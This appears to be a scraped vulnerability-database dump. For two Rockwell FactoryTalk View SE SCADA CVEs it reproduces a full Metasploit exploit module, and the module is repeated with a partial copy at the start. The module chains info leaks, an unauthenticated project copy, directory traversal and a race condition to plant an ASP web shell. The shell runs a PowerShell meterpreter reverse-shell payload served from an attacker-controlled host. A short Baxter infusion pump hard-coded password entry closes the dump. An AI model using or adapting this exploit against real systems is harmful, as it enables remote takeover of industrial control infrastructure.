print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end
VAR-202007-0195 CVE-2020-12029 FactoryTalk View SE Vulnerability regarding input verification in CVSS V2: 6.8
CVSS V3: 7.8
Severity: HIGH
All versions of FactoryTalk View SE do not properly validate input of filenames within a project directory. A remote, unauthenticated attacker may be able to execute a crafted file on a remote endpoint that may result in remote code execution (RCE). Rockwell Automation recommends applying patch 1126289. Before installing this patch, the patch rollup dated 06 Apr 2020 or later MUST be applied. 1066644 – Patch Roll-up for CPR9 SRx. FactoryTalk View SE There is an input verification vulnerability in.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Rockwell Automation FactoryTalk View SE. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project files. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end
VAR-202007-0194 CVE-2020-12028 FactoryTalk View SE Vulnerability regarding improper permission retention in CVSS V2: 5.5
CVSS V3: 8.1
Severity: HIGH
In all versions of FactoryTalk View SEA remote, an authenticated attacker may be able to utilize certain handlers to interact with the data on the remote endpoint since those handlers do not enforce appropriate permissions. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is a vulnerability in improper retention of permissions.Information may be obtained and tampered with. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of project backups. The issue results from lack of authorization prior to initiating a backup. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. Remote attackers can use this vulnerability to perform data interactions on remote endpoints. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end
VAR-202006-0326 CVE-2020-12039 Baxter Sigma Spectrum Infusion Pumps Sigma Spectrum Infusion System and Baxter Spectrum Infusion System Vulnerability in using hard-coded credentials in CVSS V2: 2.1
CVSS V3: 2.4
Severity: LOW
Baxter Sigma Spectrum Infusion Pumps Sigma Spectrum Infusion System v's6.x model 35700BAX & Baxter Spectrum Infusion System v's8.x model 35700BAX2 contain hardcoded passwords when physically entered on the keypad provide access to biomedical menus including device settings, view calibration values, network configuration of Sigma Spectrum WBM if installed. The vulnerability is caused by the program containing a hard-coded password